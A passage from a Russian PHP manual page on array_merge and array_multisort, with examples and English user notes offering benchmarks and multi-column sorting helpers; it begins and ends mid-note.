    function stripMagicSlashes($element) {
        if (is_array($element)) {
            return array_map("stripMagicSlashes", $element);
        } else {
            return stripslashes($element);
        }
    }

    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_GET    = array_map("stripMagicSlashes", $_GET);
    $_POST   = array_map("stripMagicSlashes", $_POST);
    $_COOKIE = array_map("stripMagicSlashes", $_COOKIE);

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);

}

$GLOBALS['stripped'] = true;
?>

Based on examples from users from this site.


Сливает один или несколько массивов

  • « array_merge_recursive
  • array_multisort »
  • PHP Manual
  • Функции для работы с массивами
  • Сливает один или несколько массивов

array_merge

(PHP 4, PHP 5, PHP 7, PHP 8)

array_merge — Сливает один или несколько массивов

Описание

array_merge(array ...$arrays): array

Функция сливает элементы одного или нескольких массивов так, что значения одного добавляются в конец предыдущего. Функция возвращает результирующий массив.

Если входные массивы содержат одинаковые строковые ключи, то каждое следующее значение ключа перезапишет предыдущее. Однако, если массивы содержат одинаковые числовые ключи, следующее значение не перезапишет исходное, а будет добавлено в конец массива.

Функция перенумерует в результирующем массиве значения входных массивов с числовыми ключами возрастающими ключами, начиная с нуля.

Список параметров

arrays

Список массивов для слияния.

Возвращаемые значения

Функция возвращает результирующий массив. Без аргументов функция возвращает пустой массив (array).

Список изменений

Версия | Описание
7.4.0 | Теперь функция умеет работать без аргументов. Раньше требовался хотя бы один аргумент.

Примеры

Пример #1 Пример использования функции array_merge()

<?php

$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);

?>

Результат выполнения приведённого примера:

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

Пример #2 Простой пример использования функции array_merge()

<?php

$array1 = array();
$array2 = array(1 => "data");
$result = array_merge($array1, $array2);

?>

Помните, что числовые ключи будут перенумерованы!

Array
(
    [0] => data
)

Чтобы добавить элементы второго массива в первый без перезаписи элементов первого массива и без переиндексации, используйте оператор объединения массивов +:

<?php

$array1 = array(0 => 'zero_a', 2 => 'two_a', 3 => 'three_a');
$array2 = array(1 => 'one_b', 3 => 'three_b', 4 => 'four_b');
$result = $array1 + $array2;
var_dump($result);

?>

Функция сохранит ключи первого массива. Если оба массива содержат одинаковый ключ, то функция возьмёт элемент первого массива, а элемент второго проигнорирует.

array(5) {
  [0]=>
  string(6) "zero_a"
  [2]=>
  string(5) "two_a"
  [3]=>
  string(7) "three_a"
  [1]=>
  string(5) "one_b"
  [4]=>
  string(6) "four_b"
}

Пример #3 Пример использования функции array_merge() не с массивами

<?php

$beginning = 'foo';
$end = array(1 => 'bar');
$result = array_merge((array) $beginning, (array) $end);
print_r($result);

?>

Результат выполнения приведённого примера:

Array
    (
        [0] => foo
        [1] => bar
    )

Смотрите также

  • array_merge_recursive() - Рекурсивно сливает один или несколько массивов
  • array_replace() - Заменяет элементы массива элементами других переданных массивов
  • array_combine() - Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений
  • Операторы, работающие с массивами

User Contributed Notes

JoshE 15-Mar-2022 10:11
Not to contradict ChrisM's test, but I ran their code example and I got very different results for PHP 8.0.

Testing PHP 8.0.14
1.4955070018768 sec for spread
4.4120140075684 sec for array_merge
ChrisM 16-Dec-2021 09:04
I wished to point out that while other comments state that the spread operator should be faster than array_merge, I have actually found the opposite to be true for normal arrays. This is the case in both PHP 7.4 as well as PHP 8.0. The difference should be negligible for most applications, but I wanted to point this out for accuracy.

Below is the code used to test, along with the results:

<?php
$before = microtime(true);

for ($i=0 ; $i<10000000 ; $i++) {
    $array1 = ['apple','orange','banana'];
    $array2 = ['carrot','lettuce','broccoli'];

    $array1 = [...$array1,...$array2];
}

$after = microtime(true);
echo ($after-$before) . " sec for spread\n";

$before = microtime(true);

for ($i=0 ; $i<10000000 ; $i++) {
    $array1 = ['apple','orange','banana'];
    $array2 = ['carrot','lettuce','broccoli'];

    $array1 = array_merge($array1,$array2);
}

$after = microtime(true);
echo ($after-$before) . " sec for array_merge\n";
?>

PHP 7.4:
1.2135608196259 sec for spread
1.1402177810669 sec for array_merge

PHP 8.0:
1.1952061653137 sec for spread
1.099925994873 sec for array_merge
Andreas Hofmann 21-Nov-2021 02:59
In addition to the text and Julian Egelstaffs comment regarding to keep the keys preserved with the + operator:
When they say "input arrays with numeric keys will be renumbered" they MEAN it. If you think you are smart and put your numbered keys into strings, this won't help. Strings which contain an integer will also be renumbered! I fell into this trap while merging two arrays with book ISBNs as keys. So let's have this example:

<?php
    $test1['24'] = 'Mary';
    $test1['17'] = 'John';

    $test2['67'] = 'Phil';
    $test2['33'] = 'Brandon';

    $result1 = array_merge($test1, $test2);
    var_dump($result1);

    $result2 = [...$test1, ...$test2];    // mentioned by fsb
    var_dump($result2);
?>

You will get both:

array(4) {
  [0]=>
  string(4) "Mary"
  [1]=>
  string(4) "John"
  [2]=>
  string(4) "Phil"
  [3]=>
  string(7) "Brandon"
}

Use the + operator or array_replace, this will preserve - somewhat - the keys:

<?php
    $result1 = array_replace($test1, $test2);
    var_dump($result1);

    $result2 = $test1 + $test2;
    var_dump($result2);
?>

You will get both:

array(4) {
  [24]=>
  string(4) "Mary"
  [17]=>
  string(4) "John"
  [67]=>
  string(4) "Phil"
  [33]=>
  string(7) "Brandon"
}

The keys will keep the same, the order will keep the same, but with a little caveat: The keys will be converted to integers.
fsb at thefsb dot org 12-Mar-2020 11:36
We no longer need array_merge() as of PHP 7.4.

    [...$a, ...$b]

does the same as

    array_merge($a, $b)

and can be faster too.

https://wiki.php.net/rfc/spread_operator_for_array#advantages_over_array_merge
Julian Egelstaff 30-Jul-2009 11:48
In some situations, the union operator ( + ) might be more useful to you than array_merge.  The array_merge function does not preserve numeric key values.  If you need to preserve the numeric keys, then using + will do that.

ie:

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[1] = "one";
$array2[2] = "two";
$array2[3] = "three";

$array3 = $array1 + $array2;

//This will result in::

$array3 = array(0=>"zero", 1=>"one", 2=>"two", 3=>"three");

?>

Note the implicit "array_unique" that gets applied as well.  In some situations where your numeric keys matter, this behaviour could be useful, and better than array_merge.

--Julian


Сортирует несколько массивов или многомерные массивы

  • « array_merge
  • array_pad »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует несколько массивов или многомерные массивы

array_multisort

(PHP 4, PHP 5, PHP 7, PHP 8)

array_multisort — Сортирует несколько массивов или многомерные массивы

Описание

array_multisort(
array &$array1,
mixed $array1_sort_order = SORT_ASC,
mixed $array1_sort_flags = SORT_REGULAR,
mixed ...$rest
): bool

Функцией array_multisort() пользуются для одновременной сортировки нескольких массивов или одного многомерного массива по одному или несколькими уровням вложенности.

Ассоциативные строковые (string) ключи будут сохранены, но числовые ключи будут переиндексированы.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array1

Сортируемый массив (array).

array1_sort_order

Порядок сортировки предыдущего аргумента массива (array). Указывают константу SORT_ASC для сортировки по возрастанию или константу SORT_DESC для сортировки по убыванию.

Этот аргумент разрешено менять местами с аргументом array1_sort_flags или не указывать, тогда функция возьмёт за основу значение SORT_ASC.

array1_sort_flags

Настройки сортировки для предыдущего аргумента массива (array):

Флаг способа сортировки:

  • SORT_REGULAR — обычное сравнение элементов (без изменения типов)
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — строковое сравнение элементов с учётом установленного языкового стандарта (локали). Функция выберет языковой стандарт, который разрешено изменять функцией setlocale()
  • SORT_NATURAL — строковое сравнение элементов через алгоритм естественной сортировки (natural order), как в функции natsort()
  • SORT_FLAG_CASE — разрешено объединять через бинарное ИЛИ с константой SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Этот аргумент разрешено менять местами с аргументом array1_sort_order или не указывать, тогда функция возьмёт за основу значение SORT_REGULAR.

rest

Дополнительные массивы, за которыми необязательно идёт направление сортировки и флаги. Функция сравнивает только элементы, которые соответствуют эквивалентным элементам в предыдущих массивах. То есть функция сортирует массивы в лексикографическом порядке.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Сортировка нескольких массивов

<?php

$ar1 = array(10, 100, 100, 0);
$ar2 = array(1, 3, 2, 4);
array_multisort($ar1, $ar2);

var_dump($ar1);
var_dump($ar2);

?>

В приведённом примере после сортировки первый массив будет содержать значения: 0, 10, 100, 100. Второй — 4, 1, 2, 3. Функция также отсортировала записи во втором массиве, которые соответствуют одинаковым записям в первом массиве (100 и 100).

array(4) {
  [0]=> int(0)
  [1]=> int(10)
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=> int(4)
  [1]=> int(1)
  [2]=> int(2)
  [3]=> int(3)
}

Пример #2 Сортировка многомерного массива

<?php

$ar = array(
array("10", 11, 100, 100, "a"),
array(1, 2, "2", 3, 1)
);
array_multisort(
$ar[0], SORT_ASC, SORT_STRING,
$ar[1], SORT_NUMERIC, SORT_DESC
);
var_dump($ar);

?>

В этом примере после сортировки функция преобразует первый массив в: «10», 100, 100, 11, «a» (функция отсортировала его элементы как строки в возрастающем порядке). Второй массив будет содержать: 1, 3, «2», 2, 1 (функция отсортировала элементы как числа в порядке убывания).

array(2) {
  [0]=> array(5) {
    [0]=> string(2) "10"
    [1]=> int(100)
    [2]=> int(100)
    [3]=> int(11)
    [4]=> string(1) "a"
  }
  [1]=> array(5) {
    [0]=> int(1)
    [1]=> int(3)
    [2]=> string(1) "2"
    [3]=> int(2)
    [4]=> int(1)
  }
}

Пример #3 Сортировка результатов из базы данных

В этом примере каждый элемент массива data — это строка таблицы. Такой набор данных типичен для записей базы данных.

Примерные данные:

# том  | издание
volume | edition
-------+--------
    67 |       2
    86 |       1
    85 |       6
    98 |       2
    86 |       6
    67 |       7

Данные в виде массива с именем data. Такие данные обычно получают в цикле, например, функцией mysqli_fetch_assoc().

<?php

$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);

?>

В этом примере функция отсортирует данные по полю volume по убыванию, а по полю edition — по возрастанию.

Мы получили массив строк базы данных, но функция array_multisort() требует массив столбцов, поэтому сначала вызовем код, который получит столбцы, а затем отсортируем данные.

<?php

// Получаем список столбцов
foreach ($data as $key => $row) {
$volume[$key] = $row['volume'];
$edition[$key] = $row['edition'];
}

// Получение тех же данных функцией array_column() вместо перебора
$volume = array_column($data, 'volume');
$edition = array_column($data, 'edition');

// Сортируем данные по полю volume по убыванию и по полю edition по возрастанию
// Добавляем переменную $data в качестве последнего параметра, для сортировки по общему ключу
array_multisort($volume, SORT_DESC, $edition, SORT_ASC, $data);

?>

Функция отсортировала набор данных и теперь он выглядит вот так:

volume | edition
-------+--------
    98 |       2
    86 |       1
    86 |       6
    85 |       6
    67 |       2
    67 |       7

Пример #4 Сортировка без учёта регистра

Обе константы — SORT_STRING и SORT_REGULAR — учитывают регистр при сортировке, поэтому строки, которые начинаются с заглавной буквы, будут идти раньше строк, которые начинаются со строчной буквы.

Чтобы отсортировать данные без учёта регистра, порядок сортировки определяют для копии исходного массива, которую привели к нижнему регистру.

<?php

$array = array('Alpha', 'atomic', 'Beta', 'bank');
$array_lowercase = array_map('strtolower', $array);

array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $array);

print_r($array);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Alpha
    [1] => atomic
    [2] => bank
    [3] => Beta
)

Смотрите также

  • usort() - Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов
  • Сравнение функций сортировки массивов

User Contributed Notes

Sbastien 11-Feb-2023 09:33
The shuttle operator can be a smart alternative to array_multisort() for multidimensional and/or custom sorting.

<?php

$data = [
    ['name' => 'John Smith', 'status' => 'Offline'],
    ['name' => 'Anne Onyme', 'status' => 'Online'],
    ['name' => 'Alan Smithee', 'status' => 'Online'],
];

// Online first, then alphabetic name order
usort($data, fn ($a, $b) => [
    ['Online' => 1, 'Offline' => 2][$a['status']],
    $a['name'],
] <=> [
    ['Online' => 1, 'Offline' => 2][$b['status']],
    $b['name'],
]);

print_r($data);

/*
Array
    [0] => Array
        [name] => Alan Smithee
        [status] => Online
    [1] => Array
        [name] => Anne Onyme
        [status] => Online
    [2] => Array
        [name] => John Smith
        [status] => Offline
*/
498936940 at qq dot com 09-Oct-2021 03:00
Arbitrarily sort the two-dimensional array according to multiple keys:

```
array_multisort (
    array_column($array, 'key1'), SORT_ASC,
    array_column($array, 'key2'), SORT_DESC,
    array_column($array, 'key3'), SORT_ASC,
    array_column($array, 'key4'), SORT_DESC,
    $array
);
```
lingtalfi 25-Mar-2021 02:44
For database like sorting, here is my 2 cents:

<?php
/**
 * The RowsSortHelperTool class.
 */
class RowsSortHelperTool
{

    /**
     * Sorts the given array, based on the given sorts.
     *
     * The sorts argument is an array of field => direction,
     *
     * with:
     *
     * - field: string, the name of the property to sort the rows with
     * - direction: string (asc|desc), the direction of the sort
     *
     *
     * @param array $rows
     * @param array $sorts
     * @return array
     */
    public static function sort(array &$rows, array $sorts)
    {

        $args = [];

        foreach ($sorts as $field => $direction) {
            $col = array_column($rows, $field);
            $args[] = $col;

            if ('asc' === $direction) {
                $args[] = SORT_ASC;
            } else {
                $args[] = SORT_DESC;
            }
        }
        $args[] = &$rows;
        call_user_func_array("array_multisort", $args);
    }
}

?>

Use it like this:

<?php
$data[] = array('volume' => 67, 'edition' => 2, 'mine' => 5);
$data[] = array('volume' => 86, 'edition' => 1, 'mine' => 5);
$data[] = array('volume' => 85, 'edition' => 6, 'mine' => 5);
$data[] = array('volume' => 98, 'edition' => 2, 'mine' => 5);
$data[] = array('volume' => 86, 'edition' => 6, 'mine' => 4);
$data[] = array('volume' => 86, 'edition' => 6, 'mine' => 5);
$data[] = array('volume' => 67, 'edition' => 7, 'mine' => 5);

RowsSortHelperTool::sort($data, [
    'volume' => 'desc',
    'edition' => 'asc',
    'mine' => 'desc',
]);

az($data);

?>

Will display something like this:

array(7) {
  [0] => array(3) {
    ["volume"] => int(98)
    ["edition"] => int(2)
    ["mine"] => int(5)
  }
  [1] => array(3) {
    ["volume"] => int(86)
    ["edition"] => int(1)
    ["mine"] => int(5)
  }
  [2] => array(3) {
    ["volume"] => int(86)
    ["edition"] => int(6)
    ["mine"] => int(5)
  }
  [3] => array(3) {
    ["volume"] => int(86)
    ["edition"] => int(6)
    ["mine"] => int(4)
  }
  [4] => array(3) {
    ["volume"] => int(85)
    ["edition"] => int(6)
    ["mine"] => int(5)
  }
  [5] => array(3) {
    ["volume"] => int(67)
    ["edition"] => int(2)
    ["mine"] => int(5)
  }
  [6] => array(3) {
    ["volume"] => int(67)
    ["edition"] => int(7)
    ["mine"] => int(5)
  }
}
dwalter at seznam dot cz 31-Oct-2019 08:45
My solution for multidimensional asociative array in my language, which respect all characters of alphabet
<?php
  setlocale(LC_COLLATE, 'cs_CZ.utf-8');
  $prijmeni_zamestnancu = array_column($DBzamestnanci, 'prijmeni');
  array_multisort($prijmeni_zamestnancu, SORT_ASC, SORT_LOCALE_STRING, $DBzamestnanci);
?>
qasastechnology at gmail dot com 13-Feb-2019 09:48
Case insensitive sorting
To perform a case insensitive sort

$array = [
     [
       'name' => 'b',
       'label' => 'ball'
    ],
     [
       'name' => 'a',
       'label' => 'apple'
    ],
     [
       'name' => 'l',
       'label' => 'Lighting'
    ],
     [
       'name' => 'w',
       'label' => 'With'
    ]

];

public function sortArray($array) {

        if (count($array)) {
            array_multisort(array_map(function($element) {
                return strtolower($element['label']);
            }, $array), SORT_ASC, $array);
        }

        return $array;
    }
Hayley Watson 09-Jul-2018 01:12
Thin wrapper around array_multisort() so that, when sorting an array of associative arrays, you can specify the columns to sort on by their name, instead of having to pull them out as explicit arrays. Note that you can sort on numerically-indexed columns too, provided you cast the index to a string first (otherwise they'll get confused with the SORT_* constants).

<?php
function array_multisort_by_column(&$array, ...$spec)
{
    return array_multisort($array, ...array_map(function($s)use($array)
    {
        return is_string($s) ? array_column($array, $s) : $s;
    }, $spec));
}
?>
ArkieGuy 10-Jan-2018 04:02
<?php

/**
 *  array_multisort wrapper function -- Sorts Data array on array of Keys
 *
 *  $data : This is the multidiminsional array to sort
 *  $keys : An array of arrays holding "Key" field names and optional Order / flags
 *
 *  Example:  $keys[2] = [ 'Animal', SORT_DESC, SORT_REGULAR | SORT_FLAG_CASE ];
 *            $keys[1] = [ 'Name' ];
 *
 *  Syntax:   if( multiSort( $data, $keys ) ) print_r( $data );
 *
 *  Returns TRUE on success or FALSE on failure.
 */
function multiSort( &$data, $keys ) {

  // Sort the Keys - this allows for passing in the key array out of order
  ksort( $keys );

  //  Walk Keys array building arguments to pass to call_user_function
  //  (must be indexed 0-n with n being the data to sort)
  foreach( $keys as $key ) {
    //  Walk through the list of key parameters
    foreach( $key as $element => $value )
        if( $element == 0 )
            //  Add an array containing the column values for the named $data column
            $args[] = array_column( $data, $value );
        else
            //  Add the inetger value passed in for the order / flags
            //  NOTE: if you try to send a string value (like from an INI) to
            //        array_multisort for sort_order or sort_flags, you get
            //        "Argument #x is expected to be an array or a sort flag".
            //        Casting to int solves this issue
            $args[] = (int)$value;
  }

  //  Add the array to be sorted to the arg list
  $args[] = &$data;

  //  Call array_multisort to sort the array in keys order
  return( call_user_func_array( 'array_multisort', $args ) );
}

/* Example */

echo "<PRE>";

//  Data array (can be associative array or you can use column number)
$data = [
  ['Name' => 'Brown', 'Animal' => 'Dog'],
  ['Name' => 'Smith', 'Animal' => 'Cat'],
  ['Name' => 'Jones', 'Animal' => 'Dog'],
  ['Name' => 'Jones', 'Animal' => 'Pig'],
  ['Name' => 'Bennett', 'Animal' => 'Cat'],
  ['Name' => 'Astor', 'Animal' => 'Cat'],
  ['Name' => 'Jones', 'Animal' => 'Cat'],
];

//  Array containing "keys" - each key is the name of the column and
//    optionally a sort order and / or  sort flags
//  Will sort by Name and then Animal because the keys array is key sorted
//    before it's used.
$keys[2] = [ 'Animal', SORT_DESC, SORT_REGULAR | SORT_FLAG_CASE ];
$keys[1] = [ 'Name' ];

//call the wrapper function
if( ! multiSort( $data, $keys ) )
    die( 'Sort Failed' );

print_r( $data );
?>
walterquez at gmail dot com 03-Jan-2018 06:11
To sort a simple multi dimensional array, use the array itself as the modifier. This will sort based on the first column. No need to write a custom function.

$data = array(
    array('volume' => 67, 'edition' => 2),
    array('volume' => 86, 'edition' => 1),
    array('volume' => 85, 'edition' => 6),
    array('volume' => 98, 'edition' => 2),
    array('volume' => 86, 'edition' => 6),
    array('volume' => 67, 'edition' => 7)
)

array_multisort($data, $data);
faugeron dot loic at gmail dot com 17-May-2016 07:14
Improving Example #3 (Sorting database results): using <?php array_column ?> (PHP >= 5.5) and <?php call_user_func_array ?> it becomes possible to build your sortings (sorting by one or many fields):

<?php

$data = [
    [
        'id' => '168ac7f8-c918-4e99-90ee-5d7590fe61ce',
        'name' => 'Arthur Dent',
    ],
    [
        'id' => 'e3ad45ee-7cae-4cca-bd7b-2eb6b57b6457',
        'name' => 'Ford Prefect',
    ],
    [
        'id' => 'a426aef2-19e2-412a-8339-5458cf6ae416',
        'name' => 'Trillian Astra',
    ],
];
$sortings = [
    [
        'field' => 'id',
        'direction' => SORT_DESC,
    ],
];

$args = [];
$key = 0;
foreach ($sortings as $sorting) {
    $args[$key] = array_column($data, $sorting['field']);
    $args[$key + 1] = $sorting['direction'];
    $key += 2;
}
$args[] = $data;
call_user_func_array('array_multisort', $args);

// $data is now sorted by ID in descending order.
?>
matt at bosc dot io 05-May-2016 09:02
One-liner function to sort multidimensionnal array by key, thank's to array_column

<?php

array_multisort (array_column($array, 'key'), SORT_DESC, $array);

?>
nospam at nospam dot com 23-Oct-2015 10:30
Super easy and simple way to sort a keyed multiarray while maintaining all associative keys, including numeric!

Preserves the original multiarray order if the sorting values are equal.

<?php
// sorts multiarray by a subarray value while preserving all keys, also preserves original order when the sorting values match
function maSort($ma = '', $sortkey = '', $sortorder = 1) { // sortorder: 1=asc, 2=desc
  if ($ma && is_array($ma) && $sortkey) { // confirm inputs
    foreach ($ma as $k=>$a) $temp["$a[$sortkey]"][$k] = $a; // temp ma with sort value, quotes convert key to string in case numeric float
    if ($sortorder == 2) { // descending
      krsort($temp);
    } else { // ascending
      ksort($temp);
    }
    $newma = array(); // blank output multiarray to add to
    foreach ($temp as $sma) $newma += $sma; // add sorted arrays to output array
    unset($ma, $sma, $temp); // release memory
    return $newma;
  }
}
?>
matt at wennersten dot org 29-Jul-2015 09:09
Many users have contributed nifty wrapper functions for generalizing array_multisort. However, some of us may just want a simple example that illustrates how to sort an arbitrary multi-dimensional array, such as a database result set, on a named field.

Consider an array of voice recordings (Clip objects) that are stored on a file system, and referenced via a database table:

    $fetchClipQuery = "SELECT * from voiceclips";
    if ( !$result = $this->db->query($fetchClipQuery) ) {
            $errormessage = $this->db->errno;
            $errormessage .= $this->db->error;
        } else {
            while($row = $result->fetch_assoc()){
                $clip = new Clip();
                $clip->populate($row['clipURL']);
                $clips[] = array("speaker"=>$row['speaker'],"duration"=>$row['duration'],"clip"=>$clip);
            }

//we now have an array called clips[] that looks like this:

array("speaker"=>"Obama","duration"=>"22:00","clip"=>...<some arbitrary object>...);

        //suppose we want to sort the array by speaker
        $sortkeyname = "speaker";
        //do the sort
        $sortkeyarray = array();
        foreach ($clips as $key => $row){
            $sortkeyarray[$key] = $row[$sortkeyname];
        }
        array_multisort($sortkeyarray, SORT_DESC, $clips);

           //suppose we want to sort the array by duration
        $sortkeyname = "duration";
        //do the sort
        $sortkeyarray = array();
        foreach ($clips as $key => $row){
            $sortkeyarray[$key] = $row[$sortkeyname];
        }
        array_multisort($sortkeyarray, SORT_DESC, $clips);

...etc.
jcharpentier at darkmira dot fr 23-Feb-2014 05:11
There is a lack of precision for the second example :

Example #2 Sorting multi-dimensional array

The explanation is :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as numbers, in descending order). "
This could be misunderstood cause a sort as numbers in descending order will be 1, 1, "2", 2, 3.

My proposal is as follows (in a best english should be great ^^) :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as well as first one, except for values 3 and "2" sorted as numbers, in descending order).  Because they are corresponding to the identical entries in the first array (100 and 100) which couldn't be sorted at first time."
Robert C 09-Jan-2014 12:11
Hi,

I would like to see the next code snippet to be added to http://nl3.php.net/array_multisort

Purpose: Sort a 2-dimensional array on some key(s)

Advantage of function:
- uses PHP's array_multisort function for sorting;
- it prepares the arrays (needed by array_multisort) for you;
- allows the sort criteria be passed as a separate array (It is possible to use sort order and flags.);
- easy to set/overwrite the way strings are sorted (case insensitive instead of case sensitive, which is PHP's default way of sorting);
- performs excellent

function MultiSort($data, $sortCriteria, $caseInSensitive = true)
{
  if( !is_array($data) || !is_array($sortCriteria))
    return false;
  $args = array();
  $i = 0;
  foreach($sortCriteria as $sortColumn => $sortAttributes)
  {
    $colList = array();
    foreach ($data as $key => $row)
    {
      $convertToLower = $caseInSensitive && (in_array(SORT_STRING, $sortAttributes) || in_array(SORT_REGULAR, $sortAttributes));
      $rowData = $convertToLower ? strtolower($row[$sortColumn]) : $row[$sortColumn];
      $colLists[$sortColumn][$key] = $rowData;
    }
    $args[] = &$colLists[$sortColumn];

    foreach($sortAttributes as $sortAttribute)
    {
      $tmp[$i] = $sortAttribute;
      $args[] = &$tmp[$i];
      $i++;
     }
  }
  $args[] = &$data;
  call_user_func_array('array_multisort', $args);
  return end($args);
}

Usage:

//Fill an array with random test data
define('MAX_ITEMS', 15);
define('MAX_VAL', 20);
for($i=0; $i < MAX_ITEMS; $i++)
  $data[] = array('field1' => rand(1, MAX_VAL), 'field2' => rand(1, MAX_VAL), 'field3' => rand(1, MAX_VAL) );

//Set the sort criteria (add as many fields as you want)
$sortCriteria =
  array('field1' => array(SORT_DESC, SORT_NUMERIC),
       'field3' => array(SORT_DESC, SORT_NUMERIC)
  );

//Call it like this:
$sortedData = MultiSort($data, $sortCriteria, true);
Patrick Adrichem 17-Oct-2013 08:08
If you do not have PHP 5.4 installed yet and you cannot use SORT_NATURAL. This function sorts arrays natural multi-dimensional based on key value

this function can be used for arrays as

array ( name => array( key => value ) )
and

array( name => value ).

arrays as array( name => array( key => value), name => value) are not supported.

<?php
        static function natcasesortRecursive(&$aArray)
        {
            $bHasArrays = false;
            foreach ($aArray as $sKey => &$mValue)
            {
                if (true === is_array($mValue))
                {
                    self::natcasesortRecursive($mValue);
                    $bHasArrays = true;
                }
            }
            if (true === $bHasArrays)
            {
                uksort($aArray, 'strnatcasecmp');
            }
            else
            {
                natcasesort($aArray);
            }
        }
?>
Magento-User 11-Oct-2013 03:25
When sorting an array of (complex) objects, this function can give you a "Fatal error:  Nesting level too deep" since it directly compares elements in later arrays if the elements in earlier ones compare equal. This can be worked around with the Flag-Parameter:
<?php
$sortKeys = array_map($extractKey, $lotsOfComplexObjects);
array_multisort($sortKeys, $lotsOfComplexObjects, SORT_ASC, SORT_NUMERIC);
?>
I'm replacing an 'uasort()'-call which is significantly slower since it leads to a lot of calls to the comparison-function but most of the objects involved are recursive.

If this 'trick' gives a wrong order,  you need a better key.
plugboard at web dot de 04-Sep-2012 02:56
multisort an Array of Objects:

example object [$object with array of objects]: (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [1] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [2] => test Object (
            [id] => 3
            [title] => DDDD
         )
      [3] => test Object (
            [id] => 4
            [title] => BBBB
         )
   )
)

----------------------------------

Simple PHP function: sort_arr_of_obj()

<?php
// --------------------------------------

/*
* -------- function arguments --------
*   $array ........ array of objects
*   $sortby ....... the object-key to sort by
*   $direction ... 'asc' = ascending
* --------
*/

function sort_arr_of_obj($array, $sortby, $direction='asc') {

    $sortedArr = array();
    $tmp_Array = array();

    foreach($array as $k => $v) {
        $tmp_Array[] = strtolower($v->$sortby);
    }

    if($direction=='asc'){
        asort($tmp_Array);
    }else{
        arsort($tmp_Array);
    }

    foreach($tmp_Array as $k=>$tmp){
        $sortedArr[] = $array[$k];
    }

    return $sortedArr;

}

// --------------------------------------
?>

example call:
----------------------------------

<?php

$sorted->Artikel = sort_arr_of_obj($object->Artikel,'title','asc');

?>

example result: $sorted (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [1] => test Object (
            [id] => 4
            [title] => BBBB
         )
      [2] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [3] => test Object (
            [id] => 3
            [title] => DDDD
         )

   )
)

-------------------------

:)
rnacken at gmail dot com 11-Feb-2012 11:59
When I was working on a search engine, that had to order the results in PHP by multiple arguments, I got stuck on the issue of multisort erasing your (numeral) indexes for a while. Sometimes, it is important to keep these indexes intact. In my case, the indexes were IDs and the values were a percentage of how relevant the object was, considering an earlier query.
e.g: $searchResult = (23 => 0.3,
                    102 => 0.5,
                    11 => 0.5,
                    340 => 0.5,
                    10 => 0.9);

I wanted to use array_multisort to first sort DESC on the IDs, and then on the values DESC. i.e. I wanted to show the highest values first, but in case of two (or more) objects with the same value, the higher ID would be shown first.
e.g: $searchResult = (10 => 0.9,
                   340 => 0.5,
                   102 => 0.5,
                   11 => 0.5,
                   23 => 0.3);

The easiest way to do this, I think, is:
<?php
    // create a 2-deep array with the values and keys of $searchResult
    $array = array(
               $searchResult,
               array_keys($searchResult)
    );
    // use multisort, first on the values, then on the keys. This will erase the indexes in the $searchResult array
    array_multisort($array[0], SORT_DESC,  $array[1], SORT_DESC);
    // get the ordered keys back in the $searchResult array
    $searchResult = array_combine($array[1], $array[0]);
    unset($array); //clear some memory
?>
nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:36
USort function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution over this function.

Hope it helps!
info at ichier dot de 28-Jul-2011 08:59
if you want to sort an array by columns, this is the function to do it.

<?php
function array_csort() {        //coded by Ichier2003
    $args = func_get_args();
    $marray = array_shift($args);
    $msortline = 'return(array_multisort(';
    foreach ($args as $arg) {
        $i++;
        if (is_string($arg)) {
            foreach ($marray as $row) {
                $sortarr[$i][] = $row[$arg];
            }
        } else {
            $sortarr[$i] = $arg;
        }
        $msortline .= '$sortarr['.$i.'],';
    }
    $msortline .= '$marray));';
    eval($msortline);
    return $marray;
}
?>
thierryzo at hotmail dot fr 29-Jun-2011 02:27
//A very simple way to sort arrays with this kind of structure.

<?php
    $myArray =array(
